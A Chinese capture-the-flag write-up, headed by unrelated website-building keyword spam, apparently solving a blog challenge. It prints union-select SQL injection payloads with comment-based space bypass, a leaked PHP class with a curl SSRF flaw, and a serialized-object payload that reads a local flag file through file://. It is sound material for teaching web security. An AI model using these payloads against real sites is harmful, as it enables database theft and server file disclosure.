英文定机票网站建设,营销型网站建设风格设定包括哪些方面,wordpress做成网盘,wordpress中的feed拿到题目后是一个博客的界面#xff0c;这里可以登录和注册 点入登录界面#xff0c;猜测可能是sql注入 试了很多次#xff0c;都不是#xff0c;也没有回显报错#xff0c;所以把目光放到了注册上面 注册的其他行数据#xff0c;差不多都可以乱填#xff0c;只有一个bl… 拿到题目后是一个博客的界面这里可以登录和注册 点入登录界面猜测可能是sql注入 试了很多次都不是也没有回显报错所以把目光放到了注册上面 注册的其他行数据差不多都可以乱填只有一个blog项估计是后台做了一些限制必须包含某些字符之类的随便填会报错 创建好点击博客进去后在url栏会出现GET传参no 2 可以尝试判断是否为注入点 一开始测试的是单引号闭合但是它的回显时这样的说明闭合符错误 因为出现上面的情况所以猜测不是字符型注入用了一点小方法出现计算说明是整数型注入 测试出包含5个字段 当测试回显位时该来的还是来了有过滤 本来想看看是过滤了union还是select结果单领出来都报语法错误这里直接使用/**/代替空格(union)select加括号也会报错 回显位是2 爆出数据库名称 注意注入语句的形式如果把字段数放在后面会报错爆出表名称 ?no-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase() 爆出user表中字段名称 ?no-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameusers 查询字段所有数据但是没有flag no-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users 只能查看wp了 得到关键信息前面都没有注意这段报错信息这里包含了一个反序列化函数和一段路径后面会用到 wp还提示说扫描后台有文件 但是为毛我扫描不出来文件啊 直接用别人wp里面的访问吧 访问robots.txt获取到源码 ?phpclass UserInfo
{public $name ;public $age 0;public $blog ;public function __construct($name, $age, $blog){$this-name $name;$this-age (int)$age;$this-blog $blog;}function get($url){$ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output curl_exec($ch);$httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this-get($this-blog);}public function isValidBlog (){$blog $this-blog;return preg_match(/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]\.)[a-zA-Z]{2,6}(\:[0-9])?(\/\S*)?$/i, $blog);}} 这是一个 PHP 类的定义名为 UserInfo。 该类有三个公共属性$name$age$blog分别表示用户的姓名、年龄和博客链接。 该类还有一个构造函数用于初始化这三个属性的值。 此外该类还有两个公共方法getBlogContents() 和 isValidBlog()。 getBlogContents() 方法用于获取用户博客的内容它通过调用 get() 方法实现。 isValidBlog() 方法用于验证用户提供的博客链接是否合法它使用正则表达式进行判断。如果博客链接符合标准格式则返回 true否则返回 false。 function get($url){$ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output curl_exec($ch);$httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode 404) {return 404;}curl_close($ch);return $output;} 主要是这里贼长一篇的选项把我看烦了差点就放弃了 这是一个 PHP 代码段它定义了一个名为 get 的函数该函数使用 cURL 库来获取给定 URL 的内容并返回。 具体来说该函数使用了 curl_init() 函数初始化一个 cURL 会话curl可以用来请求web服务器 然后使用curl_setopt() 函数设置一些选项 CURLOPT_URL需要获取的URL地址也可以在curl_init()函数中设置,后面的$url变量就是它的值 CURLOPT_RETURNTRANSFER将curl_exec()获取的信息以文件流的形式返回而不是直接输出。使用PHP curl获取页面内容或提交数据有时候希望返回的内容作为变量储存而不是直接输出。这个时候就必需设置curl的CURLOPT_RETURNTRANSFER选项为1或true。 curl_exec函数是执行curl对话这里赋值给了$output curl_getinfo — 获取一个cURL连接资源句柄的信息因为设置了CURLINFO_HTTP_CODE所以是返回最后一个http状态码 如果状态码不是404就返回exec的结果。 结合起来得出结论以上代码存在ssrf和反序列化当我们注册后把我们的信息序列化一下然后存进data。在user界面取出blog获取资源。 路径是之前注入的时候报错爆出来的序列化值也不用自己生成之前注入出来了改长度和值就行 flag.php也是被扫描出来的 ?no-1 union/**/select 1,2,3,O:8:UserInfo:3:{s:4:name;s:2:23;s:3:age;i:12;s:4:blog;s:27:file:///var/www/html/flag.php;} 可以看到回显页面的blog已经被更改最后查看源码就能获得信息 这里就对应的blog的内容虽然经过了base64编码